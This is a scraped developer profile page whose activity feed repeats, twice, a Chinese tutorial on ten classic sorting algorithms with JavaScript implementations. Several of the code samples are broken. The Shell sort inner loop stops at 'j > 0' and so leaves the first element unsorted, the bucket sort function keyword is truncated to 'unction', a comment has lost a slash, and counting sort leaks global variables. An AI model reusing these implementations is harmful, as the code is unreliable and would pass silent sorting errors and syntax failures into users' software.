慢思考快行动

慢思考快行动 查看完整档案

杭州编辑四川农业大学  |  计算机科学与技术 编辑泰然金融  |  前端工程师 编辑 github.com/muzishuiji 编辑
编辑

有梦想但又不失风趣的程序员

个人动态

慢思考快行动 收藏了文章 · 2019-08-20

前端十大经典算法

个人博客

算法概述

算法分类

十种常见排序算法可以分为两大类:

非线性时间比较类排序:通过比较来决定元素间的相对次序,由于其时间复杂度不能突破O(nlogn),因此称为非线性时间比较类排序。

线性时间非比较类排序:不通过比较来决定元素间的相对次序,它可以突破基于比较排序的时间下界,以线性时间运行,因此称为线性时间非比较类排序。

849589-20180402132530342-980121409.png

算法复杂度

849589-20180402133438219-1946132192.png

相关概念

稳定:如果a原本在b前面,而a=b,排序之后a仍然在b的前面。

不稳定:如果a原本在b的前面,而a=b,排序之后 a 可能会出现在 b 的后面。

时间复杂度:对排序数据的总的操作次数。反映当n变化时,操作次数呈现什么规律。

空间复杂度:是指算法在计算机内执行时所需存储空间的度量,它也是数据规模n的函数。

冒泡排序(Bubble Sort)

冒泡排序是一种简单的排序算法。它重复地走访过要排序的数列,一次比较两个元素,如果它们的顺序错误就把它们交换过来。走访数列的工作是重复地进行直到没有再需要交换,也就是说该数列已经排序完成。这个算法的名字由来是因为越小的元素会经由交换慢慢“浮”到数列的顶端。

1.1 算法描述

  • 比较相邻的元素。如果第一个比第二个大,就交换它们两个;
  • 对每一对相邻元素作同样的工作,从开始第一对到结尾的最后一对,这样在最后的元素应该会是最大的数;
  • 针对所有的元素重复以上的步骤,除了最后一个;
  • 重复步骤1~3,直到排序完成。

1.2 动图演示

849589-20171015223238449-2146169197.gif

1.3 代码实现

function bubbleSort(arr) {

    var len = arr.length;

    for (var i = 0; i < len - 1; i++) {

        for (var j = 0; j < len - 1 - i; j++) {

            if (arr[j] > arr[j+1]) {       // 相邻元素两两对比

                var temp = arr[j+1];       // 元素交换

                arr[j+1] = arr[j];

                arr[j] = temp;

            }

        }

    }

    return arr;

}

选择排序(Selection Sort)

选择排序(Selection-sort)是一种简单直观的排序算法。它的工作原理:首先在未排序序列中找到最小(大)元素,存放到排序序列的起始位置,然后,再从剩余未排序元素中继续寻找最小(大)元素,然后放到已排序序列的末尾。以此类推,直到所有元素均排序完毕。

2.1 算法描述

n个记录的直接选择排序可经过n-1趟直接选择排序得到有序结果。具体算法描述如下:

  • 初始状态:无序区为R[1..n],有序区为空;
  • 第i趟排序(i=1,2,3…n-1)开始时,当前有序区和无序区分别为R[1..i-1]和R(i..n)。该趟排序从当前无序区中-选出关键字最小的记录 R[k],将它与无序区的第1个记录R交换,使R[1..i]和R[i+1..n)分别变为记录个数增加1个的新有序区和记录个数减少1个的新无序区;
  • n-1趟结束,数组有序化了。

2.2 动图演示

849589-20171015224719590-1433219824.gif  

2.3 代码实现

function selectionSort(arr) {

    var len = arr.length;

    var minIndex, temp;

    for (var i = 0; i < len - 1; i++) {

        minIndex = i;

        for (var j = i + 1; j < len; j++) {

            if (arr[j] < arr[minIndex]) {    // 寻找最小的数

                minIndex = j;                // 将最小数的索引保存

            }

        }

        temp = arr[i];

        arr[i] = arr[minIndex];

        arr[minIndex] = temp;

    }

    return arr;

} 

2.4 算法分析

表现最稳定的排序算法之一,因为无论什么数据进去都是O(n2)的时间复杂度,所以用到它的时候,数据规模越小越好。唯一的好处可能就是不占用额外的内存空间了吧。理论上讲,选择排序可能也是平时排序一般人想到的最多的排序方法了吧。

插入排序(Insertion Sort)

插入排序(Insertion-Sort)的算法描述是一种简单直观的排序算法。它的工作原理是通过构建有序序列,对于未排序数据,在已排序序列中从后向前扫描,找到相应位置并插入。

3.1 算法描述

一般来说,插入排序都采用in-place在数组上实现。具体算法描述如下:

  • 从第一个元素开始,该元素可以认为已经被排序;
  • 取出下一个元素,在已经排序的元素序列中从后向前扫描;
  • 如果该元素(已排序)大于新元素,将该元素移到下一位置;
  • 重复步骤3,直到找到已排序的元素小于或者等于新元素的位置;
  • 将新元素插入到该位置后;
  • 重复步骤2~5。

3.2 动图演示

849589-20171015225645277-1151100000.gif

3.2 代码实现

function insertionSort(arr) {

    var len = arr.length;

    var preIndex, current;

    for (var i = 1; i < len; i++) {

        preIndex = i - 1;

        current = arr[i];

        while (preIndex >= 0 && arr[preIndex] > current) {

            arr[preIndex + 1] = arr[preIndex];

            preIndex--;

        }

        arr[preIndex + 1] = current;

    }

    return arr;

}

3.4 算法分析

插入排序在实现上,通常采用in-place排序(即只需用到O(1)的额外空间的排序),因而在从后向前扫描过程中,需要反复把已排序元素逐步向后挪位,为最新元素提供插入空间。

希尔排序(Shell Sort)

1959年Shell发明,第一个突破O(n2)的排序算法,是简单插入排序的改进版。它与插入排序的不同之处在于,它会优先比较距离较远的元素。希尔排序又叫缩小增量排序

4.1 算法描述

先将整个待排序的记录序列分割成为若干子序列分别进行直接插入排序,具体算法描述:

  • 选择一个增量序列t1,t2,…,tk,其中ti>tj,tk=1;
  • 按增量序列个数k,对序列进行k 趟排序;
  • 每趟排序,根据对应的增量ti,将待排序列分割成若干长度为m 的子序列,分别对各子表进行直接插入排序。仅增量因子为1 时,整个序列作为一个表来处理,表长度即为整个序列的长度。

4.2 动图演示

849589-20180331170017421-364506073.gif

4.3 代码实现

function shellSort(arr) {

    var len = arr.length,

        temp,

        gap = 1;

    while (gap < len / 3) {         // 动态定义间隔序列

        gap = gap * 3 + 1;

    }

    for (gap; gap > 0; gap = Math.floor(gap / 3)) {

        for (var i = gap; i < len; i++) {

            temp = arr[i];

            for (var j = i-gap; j > 0 && arr[j]> temp; j-=gap) {

                arr[j + gap] = arr[j];

            }

            arr[j + gap] = temp;

        }

    }

    return arr;

}

4.4 算法分析

希尔排序的核心在于间隔序列的设定。既可以提前设定好间隔序列,也可以动态的定义间隔序列。动态定义间隔序列的算法是《算法(第4版)》的合著者Robert Sedgewick提出的。 

归并排序(Merge Sort)

归并排序是建立在归并操作上的一种有效的排序算法。该算法是采用分治法(Divide and Conquer)的一个非常典型的应用。将已有序的子序列合并,得到完全有序的序列;即先使每个子序列有序,再使子序列段间有序。若将两个有序表合并成一个有序表,称为2-路归并。

5.1 算法描述

  • 把长度为n的输入序列分成两个长度为n/2的子序列;
  • 对这两个子序列分别采用归并排序;
  • 将两个排序好的子序列合并成一个最终的排序序列。

5.2 动图演示

849589-20171015230557043-37375010.gif

5.3 代码实现

function mergeSort(arr) { // 采用自上而下的递归方法
    var len = arr.length;
    if (len < 2) {
        return arr;
    }
    var middle = Math.floor(len / 2),
        left = arr.slice(0, middle),
        right = arr.slice(middle);
    return merge(mergeSort(left), mergeSort(right));
}
 
function merge(left, right) {
    var result = [];
 
    while (left.length>0 && right.length>0) {
        if (left[0] <= right[0]) {
            result.push(left.shift());
        }else {
            result.push(right.shift());
        }
    }
 
    while (left.length)
        result.push(left.shift());
 
    while (right.length)
        result.push(right.shift());
 
    return result;
}

5.4 算法分析

归并排序是一种稳定的排序方法。和选择排序一样,归并排序的性能不受输入数据的影响,但表现比选择排序好的多,因为始终都是O(nlogn)的时间复杂度。代价是需要额外的内存空间。

快速排序(Quick Sort)

快速排序的基本思想:通过一趟排序将待排记录分隔成独立的两部分,其中一部分记录的关键字均比另一部分的关键字小,则可分别对这两部分记录继续进行排序,以达到整个序列有序。

6.1 算法描述

快速排序使用分治法来把一个串(list)分为两个子串(sub-lists)。具体算法描述如下:

  • 从数列中挑出一个元素,称为 “基准”(pivot);
  • 重新排序数列,所有元素比基准值小的摆放在基准前面,所有元素比基准值大的摆在基准的后面(相同的数可以到任一边)。在这个分区退出之后,该基准就处于数列的中间位置。这个称为分区(partition)操作;
  • 递归地(recursive)把小于基准值元素的子数列和大于基准值元素的子数列排序。

6.2 动图演示

849589-20171015230936371-1413523412.gif

6.3 代码实现

function quickSort(arr, left, right) {
    var len = arr.length,
        partitionIndex,
        left =typeof left !='number' ? 0 : left,
        right =typeof right !='number' ? len - 1 : right;
 
    if (left < right) {
        partitionIndex = partition(arr, left, right);
        quickSort(arr, left, partitionIndex-1);
        quickSort(arr, partitionIndex+1, right);
    }
    return arr;
}
 
function partition(arr, left ,right) {    // 分区操作
    var pivot = left,                     // 设定基准值(pivot)
        index = pivot + 1;
    for (var i = index; i <= right; i++) {
        if (arr[i] < arr[pivot]) {
            swap(arr, i, index);
            index++;
        }       
    }
    swap(arr, pivot, index - 1);
    return index-1;
}
 
function swap(arr, i, j) {
    var temp = arr[i];
    arr[i] = arr[j];
    arr[j] = temp;
}

堆排序(Heap Sort)

堆排序(Heapsort)是指利用堆这种数据结构所设计的一种排序算法。堆积是一个近似完全二叉树的结构,并同时满足堆积的性质:即子结点的键值或索引总是小于(或者大于)它的父节点。

7.1 算法描述

  • 将初始待排序关键字序列(R1,R2….Rn)构建成大顶堆,此堆为初始的无序区;
  • 将堆顶元素R[1]与最后一个元素R[n]交换,此时得到新的无序区(R1,R2,……Rn-1)和新的有序区(Rn),且满足R[1,2…n-1]<=R[n];
  • 由于交换后新的堆顶R[1]可能违反堆的性质,因此需要对当前无序区(R1,R2,……Rn-1)调整为新堆,然后再次将R[1]与无序区最后一个元素交换,得到新的无序区(R1,R2….Rn-2)和新的有序区(Rn-1,Rn)。不断重复此过程直到有序区的元素个数为n-1,则整个排序过程完成。

7.2 动图演示

849589-20171015231308699-356134237.gif

7.3 代码实现

var len;   // 因为声明的多个函数都需要数据长度,所以把len设置成为全局变量
 
function buildMaxHeap(arr) {  // 建立大顶堆
    len = arr.length;
    for (var i = Math.floor(len/2); i >= 0; i--) {
        heapify(arr, i);
    }
}
 
function heapify(arr, i) {    // 堆调整
    var left = 2 * i + 1,
        right = 2 * i + 2,
        largest = i;
 
    if (left < len && arr[left] > arr[largest]) {
        largest = left;
    }
 
    if (right < len && arr[right] > arr[largest]) {
        largest = right;
    }
 
    if (largest != i) {
        swap(arr, i, largest);
        heapify(arr, largest);
    }
}
 
function swap(arr, i, j) {
    var temp = arr[i];
    arr[i] = arr[j];
    arr[j] = temp;
}
 
function heapSort(arr) {
    buildMaxHeap(arr);
 
    for (var i = arr.length - 1; i > 0; i--) {
        swap(arr, 0, i);
        len--;
        heapify(arr, 0);
    }
    return arr;
}

计数排序(Counting Sort)

计数排序不是基于比较的排序算法,其核心在于将输入的数据值转化为键存储在额外开辟的数组空间中。 作为一种线性时间复杂度的排序,计数排序要求输入的数据必须是有确定范围的整数。

8.1 算法描述

  • 找出待排序的数组中最大和最小的元素;
  • 统计数组中每个值为i的元素出现的次数,存入数组C的第i项;
  • 对所有的计数累加(从C中的第一个元素开始,每一项和前一项相加);
  • 反向填充目标数组:将每个元素i放在新数组的第C(i)项,每放一个元素就将C(i)减去1。

8.2 动图演示

849589-20171015231740840-6968181.gif

8.3 代码实现

function countingSort(arr, maxValue) {
    var bucket =new Array(maxValue + 1),
        sortedIndex = 0;
        arrLen = arr.length,
        bucketLen = maxValue + 1;
 
    for (var i = 0; i < arrLen; i++) {
        if (!bucket[arr[i]]) {
            bucket[arr[i]] = 0;
        }
        bucket[arr[i]]++;
    }
 
    for (var j = 0; j < bucketLen; j++) {
        while(bucket[j] > 0) {
            arr[sortedIndex++] = j;
            bucket[j]--;
        }
    }
 
    return arr;
}

8.4 算法分析

计数排序是一个稳定的排序算法。当输入的元素是 n 个 0到 k 之间的整数时,时间复杂度是O(n+k),空间复杂度也是O(n+k),其排序速度快于任何比较排序算法。当k不是很大并且序列比较集中时,计数排序是一个很有效的排序算法。

桶排序(Bucket Sort)

桶排序是计数排序的升级版。它利用了函数的映射关系,高效与否的关键就在于这个映射函数的确定。桶排序 (Bucket sort)的工作的原理:假设输入数据服从均匀分布,将数据分到有限数量的桶里,每个桶再分别排序(有可能再使用别的排序算法或是以递归方式继续使用桶排序进行排)。

9.1 算法描述

  • 设置一个定量的数组当作空桶;
  • 遍历输入数据,并且把数据一个一个放到对应的桶里去;
  • 对每个不是空的桶进行排序;
  • 从不是空的桶里把排好序的数据拼接起来。

9.2 图片演示

849589-20171015232107090-1920702011.png

9.3 代码实现

unction bucketSort(arr, bucketSize) {
    if (arr.length === 0) {
      return arr;
    }
 
    var i;
    var minValue = arr[0];
    var maxValue = arr[0];
    for (i = 1; i < arr.length; i++) {
      if (arr[i] < minValue) {
          minValue = arr[i];               // 输入数据的最小值
      }else if (arr[i] > maxValue) {
          maxValue = arr[i];               // 输入数据的最大值
      }
    }
 
    // 桶的初始化
    var DEFAULT_BUCKET_SIZE = 5;           // 设置桶的默认数量为5
    bucketSize = bucketSize || DEFAULT_BUCKET_SIZE;
    var bucketCount = Math.floor((maxValue - minValue) / bucketSize) + 1;  
    var buckets =new Array(bucketCount);
    for (i = 0; i < buckets.length; i++) {
        buckets[i] = [];
    }
 
    // 利用映射函数将数据分配到各个桶中
    for (i = 0; i < arr.length; i++) {
        buckets[Math.floor((arr[i] - minValue) / bucketSize)].push(arr[i]);
    }
 
    arr.length = 0;
    for (i = 0; i < buckets.length; i++) {
        insertionSort(buckets[i]);                     // 对每个桶进行排序,这里使用了插入排序
        for (var j = 0; j < buckets[i].length; j++) {
            arr.push(buckets[i][j]);                     
        }
    }
 
    return arr;
}

9.4 算法分析

桶排序最好情况下使用线性时间O(n),桶排序的时间复杂度,取决与对各个桶之间数据进行排序的时间复杂度,因为其它部分的时间复杂度都为O(n)。很显然,桶划分的越小,各个桶之间的数据越少,排序所用的时间也会越少。但相应的空间消耗就会增大。

基数排序(Radix Sort)

基数排序是按照低位先排序,然后收集;再按照高位排序,然后再收集;依次类推,直到最高位。有时候有些属性是有优先级顺序的,先按低优先级排序,再按高优先级排序。最后的次序就是高优先级高的在前,高优先级相同的低优先级高的在前。

10.1 算法描述

  • 取得数组中的最大数,并取得位数;
  • arr为原始数组,从最低位开始取每个位组成radix数组;
  • 对radix进行计数排序(利用计数排序适用于小范围数的特点);

10.2 动图演示

849589-20171015232453668-1397662527.gif

10.3 代码实现

/ LSD Radix Sort
var counter = [];
function radixSort(arr, maxDigit) {
    var mod = 10;
    var dev = 1;
    for (var i = 0; i < maxDigit; i++, dev *= 10, mod *= 10) {
        for(var j = 0; j < arr.length; j++) {
            var bucket = parseInt((arr[j] % mod) / dev);
            if(counter[bucket]==null) {
                counter[bucket] = [];
            }
            counter[bucket].push(arr[j]);
        }
        var pos = 0;
        for(var j = 0; j < counter.length; j++) {
            var value =null;
            if(counter[j]!=null) {
                while ((value = counter[j].shift()) !=null) {
                      arr[pos++] = value;
                }
          }
        }
    }
    return arr;
}

10.4 算法分析

基数排序基于分别排序,分别收集,所以是稳定的。但基数排序的性能比桶排序要略差,每一次关键字的桶分配都需要O(n)的时间复杂度,而且分配之后得到新的关键字序列又需要O(n)的时间复杂度。假如待排数据可以分为d个关键字,则基数排序的时间复杂度将是O(d*2n) ,当然d要远远小于n,因此基本上还是线性级别的。

基数排序的空间复杂度为O(n+k),其中k为桶的数量。一般来说n>>k,因此额外空间需要大概n个左右。

查看原文

慢思考快行动 赞了文章 · 2019-08-20

前端十大经典算法

个人博客

算法概述

算法分类

十种常见排序算法可以分为两大类:

非线性时间比较类排序:通过比较来决定元素间的相对次序,由于其时间复杂度不能突破O(nlogn),因此称为非线性时间比较类排序。

线性时间非比较类排序:不通过比较来决定元素间的相对次序,它可以突破基于比较排序的时间下界,以线性时间运行,因此称为线性时间非比较类排序。

849589-20180402132530342-980121409.png

算法复杂度

849589-20180402133438219-1946132192.png

相关概念

稳定:如果a原本在b前面,而a=b,排序之后a仍然在b的前面。

不稳定:如果a原本在b的前面,而a=b,排序之后 a 可能会出现在 b 的后面。

时间复杂度:对排序数据的总的操作次数。反映当n变化时,操作次数呈现什么规律。

空间复杂度:是指算法在计算机内执行时所需存储空间的度量,它也是数据规模n的函数。

冒泡排序(Bubble Sort)

冒泡排序是一种简单的排序算法。它重复地走访过要排序的数列,一次比较两个元素,如果它们的顺序错误就把它们交换过来。走访数列的工作是重复地进行直到没有再需要交换,也就是说该数列已经排序完成。这个算法的名字由来是因为越小的元素会经由交换慢慢“浮”到数列的顶端。

1.1 算法描述

  • 比较相邻的元素。如果第一个比第二个大,就交换它们两个;
  • 对每一对相邻元素作同样的工作,从开始第一对到结尾的最后一对,这样在最后的元素应该会是最大的数;
  • 针对所有的元素重复以上的步骤,除了最后一个;
  • 重复步骤1~3,直到排序完成。

1.2 动图演示

849589-20171015223238449-2146169197.gif

1.3 代码实现

function bubbleSort(arr) {

    var len = arr.length;

    for (var i = 0; i < len - 1; i++) {

        for (var j = 0; j < len - 1 - i; j++) {

            if (arr[j] > arr[j+1]) {       // 相邻元素两两对比

                var temp = arr[j+1];       // 元素交换

                arr[j+1] = arr[j];

                arr[j] = temp;

            }

        }

    }

    return arr;

}

选择排序(Selection Sort)

选择排序(Selection-sort)是一种简单直观的排序算法。它的工作原理:首先在未排序序列中找到最小(大)元素,存放到排序序列的起始位置,然后,再从剩余未排序元素中继续寻找最小(大)元素,然后放到已排序序列的末尾。以此类推,直到所有元素均排序完毕。

2.1 算法描述

n个记录的直接选择排序可经过n-1趟直接选择排序得到有序结果。具体算法描述如下:

  • 初始状态:无序区为R[1..n],有序区为空;
  • 第i趟排序(i=1,2,3…n-1)开始时,当前有序区和无序区分别为R[1..i-1]和R(i..n)。该趟排序从当前无序区中-选出关键字最小的记录 R[k],将它与无序区的第1个记录R交换,使R[1..i]和R[i+1..n)分别变为记录个数增加1个的新有序区和记录个数减少1个的新无序区;
  • n-1趟结束,数组有序化了。

2.2 动图演示

849589-20171015224719590-1433219824.gif  

2.3 代码实现

function selectionSort(arr) {

    var len = arr.length;

    var minIndex, temp;

    for (var i = 0; i < len - 1; i++) {

        minIndex = i;

        for (var j = i + 1; j < len; j++) {

            if (arr[j] < arr[minIndex]) {    // 寻找最小的数

                minIndex = j;                // 将最小数的索引保存

            }

        }

        temp = arr[i];

        arr[i] = arr[minIndex];

        arr[minIndex] = temp;

    }

    return arr;

} 

2.4 算法分析

表现最稳定的排序算法之一,因为无论什么数据进去都是O(n2)的时间复杂度,所以用到它的时候,数据规模越小越好。唯一的好处可能就是不占用额外的内存空间了吧。理论上讲,选择排序可能也是平时排序一般人想到的最多的排序方法了吧。

插入排序(Insertion Sort)

插入排序(Insertion-Sort)的算法描述是一种简单直观的排序算法。它的工作原理是通过构建有序序列,对于未排序数据,在已排序序列中从后向前扫描,找到相应位置并插入。

3.1 算法描述

一般来说,插入排序都采用in-place在数组上实现。具体算法描述如下:

  • 从第一个元素开始,该元素可以认为已经被排序;
  • 取出下一个元素,在已经排序的元素序列中从后向前扫描;
  • 如果该元素(已排序)大于新元素,将该元素移到下一位置;
  • 重复步骤3,直到找到已排序的元素小于或者等于新元素的位置;
  • 将新元素插入到该位置后;
  • 重复步骤2~5。

3.2 动图演示

849589-20171015225645277-1151100000.gif

3.2 代码实现

function insertionSort(arr) {

    var len = arr.length;

    var preIndex, current;

    for (var i = 1; i < len; i++) {

        preIndex = i - 1;

        current = arr[i];

        while (preIndex >= 0 && arr[preIndex] > current) {

            arr[preIndex + 1] = arr[preIndex];

            preIndex--;

        }

        arr[preIndex + 1] = current;

    }

    return arr;

}

3.4 算法分析

插入排序在实现上,通常采用in-place排序(即只需用到O(1)的额外空间的排序),因而在从后向前扫描过程中,需要反复把已排序元素逐步向后挪位,为最新元素提供插入空间。

希尔排序(Shell Sort)

1959年Shell发明,第一个突破O(n2)的排序算法,是简单插入排序的改进版。它与插入排序的不同之处在于,它会优先比较距离较远的元素。希尔排序又叫缩小增量排序

4.1 算法描述

先将整个待排序的记录序列分割成为若干子序列分别进行直接插入排序,具体算法描述:

  • 选择一个增量序列t1,t2,…,tk,其中ti>tj,tk=1;
  • 按增量序列个数k,对序列进行k 趟排序;
  • 每趟排序,根据对应的增量ti,将待排序列分割成若干长度为m 的子序列,分别对各子表进行直接插入排序。仅增量因子为1 时,整个序列作为一个表来处理,表长度即为整个序列的长度。

4.2 动图演示

849589-20180331170017421-364506073.gif

4.3 代码实现

function shellSort(arr) {

    var len = arr.length,

        temp,

        gap = 1;

    while (gap < len / 3) {         // 动态定义间隔序列

        gap = gap * 3 + 1;

    }

    for (gap; gap > 0; gap = Math.floor(gap / 3)) {

        for (var i = gap; i < len; i++) {

            temp = arr[i];

            for (var j = i-gap; j > 0 && arr[j]> temp; j-=gap) {

                arr[j + gap] = arr[j];

            }

            arr[j + gap] = temp;

        }

    }

    return arr;

}

4.4 算法分析

希尔排序的核心在于间隔序列的设定。既可以提前设定好间隔序列,也可以动态的定义间隔序列。动态定义间隔序列的算法是《算法(第4版)》的合著者Robert Sedgewick提出的。 

归并排序(Merge Sort)

归并排序是建立在归并操作上的一种有效的排序算法。该算法是采用分治法(Divide and Conquer)的一个非常典型的应用。将已有序的子序列合并,得到完全有序的序列;即先使每个子序列有序,再使子序列段间有序。若将两个有序表合并成一个有序表,称为2-路归并。

5.1 算法描述

  • 把长度为n的输入序列分成两个长度为n/2的子序列;
  • 对这两个子序列分别采用归并排序;
  • 将两个排序好的子序列合并成一个最终的排序序列。

5.2 动图演示

849589-20171015230557043-37375010.gif

5.3 代码实现

function mergeSort(arr) { // 采用自上而下的递归方法
    var len = arr.length;
    if (len < 2) {
        return arr;
    }
    var middle = Math.floor(len / 2),
        left = arr.slice(0, middle),
        right = arr.slice(middle);
    return merge(mergeSort(left), mergeSort(right));
}
 
function merge(left, right) {
    var result = [];
 
    while (left.length>0 && right.length>0) {
        if (left[0] <= right[0]) {
            result.push(left.shift());
        }else {
            result.push(right.shift());
        }
    }
 
    while (left.length)
        result.push(left.shift());
 
    while (right.length)
        result.push(right.shift());
 
    return result;
}

5.4 算法分析

归并排序是一种稳定的排序方法。和选择排序一样,归并排序的性能不受输入数据的影响,但表现比选择排序好的多,因为始终都是O(nlogn)的时间复杂度。代价是需要额外的内存空间。

快速排序(Quick Sort)

快速排序的基本思想:通过一趟排序将待排记录分隔成独立的两部分,其中一部分记录的关键字均比另一部分的关键字小,则可分别对这两部分记录继续进行排序,以达到整个序列有序。

6.1 算法描述

快速排序使用分治法来把一个串(list)分为两个子串(sub-lists)。具体算法描述如下:

  • 从数列中挑出一个元素,称为 “基准”(pivot);
  • 重新排序数列,所有元素比基准值小的摆放在基准前面,所有元素比基准值大的摆在基准的后面(相同的数可以到任一边)。在这个分区退出之后,该基准就处于数列的中间位置。这个称为分区(partition)操作;
  • 递归地(recursive)把小于基准值元素的子数列和大于基准值元素的子数列排序。

6.2 动图演示

849589-20171015230936371-1413523412.gif

6.3 代码实现

function quickSort(arr, left, right) {
    var len = arr.length,
        partitionIndex,
        left =typeof left !='number' ? 0 : left,
        right =typeof right !='number' ? len - 1 : right;
 
    if (left < right) {
        partitionIndex = partition(arr, left, right);
        quickSort(arr, left, partitionIndex-1);
        quickSort(arr, partitionIndex+1, right);
    }
    return arr;
}
 
function partition(arr, left ,right) {    // 分区操作
    var pivot = left,                     // 设定基准值(pivot)
        index = pivot + 1;
    for (var i = index; i <= right; i++) {
        if (arr[i] < arr[pivot]) {
            swap(arr, i, index);
            index++;
        }       
    }
    swap(arr, pivot, index - 1);
    return index-1;
}
 
function swap(arr, i, j) {
    var temp = arr[i];
    arr[i] = arr[j];
    arr[j] = temp;
}

堆排序(Heap Sort)

堆排序(Heapsort)是指利用堆这种数据结构所设计的一种排序算法。堆积是一个近似完全二叉树的结构,并同时满足堆积的性质:即子结点的键值或索引总是小于(或者大于)它的父节点。

7.1 算法描述

  • 将初始待排序关键字序列(R1,R2….Rn)构建成大顶堆,此堆为初始的无序区;
  • 将堆顶元素R[1]与最后一个元素R[n]交换,此时得到新的无序区(R1,R2,……Rn-1)和新的有序区(Rn),且满足R[1,2…n-1]<=R[n];
  • 由于交换后新的堆顶R[1]可能违反堆的性质,因此需要对当前无序区(R1,R2,……Rn-1)调整为新堆,然后再次将R[1]与无序区最后一个元素交换,得到新的无序区(R1,R2….Rn-2)和新的有序区(Rn-1,Rn)。不断重复此过程直到有序区的元素个数为n-1,则整个排序过程完成。

7.2 动图演示

849589-20171015231308699-356134237.gif

7.3 代码实现

var len;   // 因为声明的多个函数都需要数据长度,所以把len设置成为全局变量
 
function buildMaxHeap(arr) {  // 建立大顶堆
    len = arr.length;
    for (var i = Math.floor(len/2); i >= 0; i--) {
        heapify(arr, i);
    }
}
 
function heapify(arr, i) {    // 堆调整
    var left = 2 * i + 1,
        right = 2 * i + 2,
        largest = i;
 
    if (left < len && arr[left] > arr[largest]) {
        largest = left;
    }
 
    if (right < len && arr[right] > arr[largest]) {
        largest = right;
    }
 
    if (largest != i) {
        swap(arr, i, largest);
        heapify(arr, largest);
    }
}
 
function swap(arr, i, j) {
    var temp = arr[i];
    arr[i] = arr[j];
    arr[j] = temp;
}
 
function heapSort(arr) {
    buildMaxHeap(arr);
 
    for (var i = arr.length - 1; i > 0; i--) {
        swap(arr, 0, i);
        len--;
        heapify(arr, 0);
    }
    return arr;
}

计数排序(Counting Sort)

计数排序不是基于比较的排序算法,其核心在于将输入的数据值转化为键存储在额外开辟的数组空间中。 作为一种线性时间复杂度的排序,计数排序要求输入的数据必须是有确定范围的整数。

8.1 算法描述

  • 找出待排序的数组中最大和最小的元素;
  • 统计数组中每个值为i的元素出现的次数,存入数组C的第i项;
  • 对所有的计数累加(从C中的第一个元素开始,每一项和前一项相加);
  • 反向填充目标数组:将每个元素i放在新数组的第C(i)项,每放一个元素就将C(i)减去1。

8.2 动图演示

849589-20171015231740840-6968181.gif

8.3 代码实现

function countingSort(arr, maxValue) {
    var bucket =new Array(maxValue + 1),
        sortedIndex = 0;
        arrLen = arr.length,
        bucketLen = maxValue + 1;
 
    for (var i = 0; i < arrLen; i++) {
        if (!bucket[arr[i]]) {
            bucket[arr[i]] = 0;
        }
        bucket[arr[i]]++;
    }
 
    for (var j = 0; j < bucketLen; j++) {
        while(bucket[j] > 0) {
            arr[sortedIndex++] = j;
            bucket[j]--;
        }
    }
 
    return arr;
}

8.4 算法分析

计数排序是一个稳定的排序算法。当输入的元素是 n 个 0到 k 之间的整数时,时间复杂度是O(n+k),空间复杂度也是O(n+k),其排序速度快于任何比较排序算法。当k不是很大并且序列比较集中时,计数排序是一个很有效的排序算法。

桶排序(Bucket Sort)

桶排序是计数排序的升级版。它利用了函数的映射关系,高效与否的关键就在于这个映射函数的确定。桶排序 (Bucket sort)的工作的原理:假设输入数据服从均匀分布,将数据分到有限数量的桶里,每个桶再分别排序(有可能再使用别的排序算法或是以递归方式继续使用桶排序进行排)。

9.1 算法描述

  • 设置一个定量的数组当作空桶;
  • 遍历输入数据,并且把数据一个一个放到对应的桶里去;
  • 对每个不是空的桶进行排序;
  • 从不是空的桶里把排好序的数据拼接起来。

9.2 图片演示

849589-20171015232107090-1920702011.png

9.3 代码实现

unction bucketSort(arr, bucketSize) {
    if (arr.length === 0) {
      return arr;
    }
 
    var i;
    var minValue = arr[0];
    var maxValue = arr[0];
    for (i = 1; i < arr.length; i++) {
      if (arr[i] < minValue) {
          minValue = arr[i];               // 输入数据的最小值
      }else if (arr[i] > maxValue) {
          maxValue = arr[i];               // 输入数据的最大值
      }
    }
 
    // 桶的初始化
    var DEFAULT_BUCKET_SIZE = 5;           // 设置桶的默认数量为5
    bucketSize = bucketSize || DEFAULT_BUCKET_SIZE;
    var bucketCount = Math.floor((maxValue - minValue) / bucketSize) + 1;  
    var buckets =new Array(bucketCount);
    for (i = 0; i < buckets.length; i++) {
        buckets[i] = [];
    }
 
    // 利用映射函数将数据分配到各个桶中
    for (i = 0; i < arr.length; i++) {
        buckets[Math.floor((arr[i] - minValue) / bucketSize)].push(arr[i]);
    }
 
    arr.length = 0;
    for (i = 0; i < buckets.length; i++) {
        insertionSort(buckets[i]);                     // 对每个桶进行排序,这里使用了插入排序
        for (var j = 0; j < buckets[i].length; j++) {
            arr.push(buckets[i][j]);                     
        }
    }
 
    return arr;
}

9.4 算法分析

桶排序最好情况下使用线性时间O(n),桶排序的时间复杂度,取决与对各个桶之间数据进行排序的时间复杂度,因为其它部分的时间复杂度都为O(n)。很显然,桶划分的越小,各个桶之间的数据越少,排序所用的时间也会越少。但相应的空间消耗就会增大。

基数排序(Radix Sort)

基数排序是按照低位先排序,然后收集;再按照高位排序,然后再收集;依次类推,直到最高位。有时候有些属性是有优先级顺序的,先按低优先级排序,再按高优先级排序。最后的次序就是高优先级高的在前,高优先级相同的低优先级高的在前。

10.1 算法描述

  • 取得数组中的最大数,并取得位数;
  • arr为原始数组,从最低位开始取每个位组成radix数组;
  • 对radix进行计数排序(利用计数排序适用于小范围数的特点);

10.2 动图演示

849589-20171015232453668-1397662527.gif

10.3 代码实现

/ LSD Radix Sort
var counter = [];
function radixSort(arr, maxDigit) {
    var mod = 10;
    var dev = 1;
    for (var i = 0; i < maxDigit; i++, dev *= 10, mod *= 10) {
        for(var j = 0; j < arr.length; j++) {
            var bucket = parseInt((arr[j] % mod) / dev);
            if(counter[bucket]==null) {
                counter[bucket] = [];
            }
            counter[bucket].push(arr[j]);
        }
        var pos = 0;
        for(var j = 0; j < counter.length; j++) {
            var value =null;
            if(counter[j]!=null) {
                while ((value = counter[j].shift()) !=null) {
                      arr[pos++] = value;
                }
          }
        }
    }
    return arr;
}

10.4 算法分析

基数排序基于分别排序,分别收集,所以是稳定的。但基数排序的性能比桶排序要略差,每一次关键字的桶分配都需要O(n)的时间复杂度,而且分配之后得到新的关键字序列又需要O(n)的时间复杂度。假如待排数据可以分为d个关键字,则基数排序的时间复杂度将是O(d*2n) ,当然d要远远小于n,因此基本上还是线性级别的。

基数排序的空间复杂度为O(n+k),其中k为桶的数量。一般来说n>>k,因此额外空间需要大概n个左右。

查看原文

赞 188 收藏 147 评论 5

慢思考快行动 赞了回答 · 2019-06-21

解决[已解决]windows下gitbash如何进行选择

clipboard.png

关注 4 回答 2

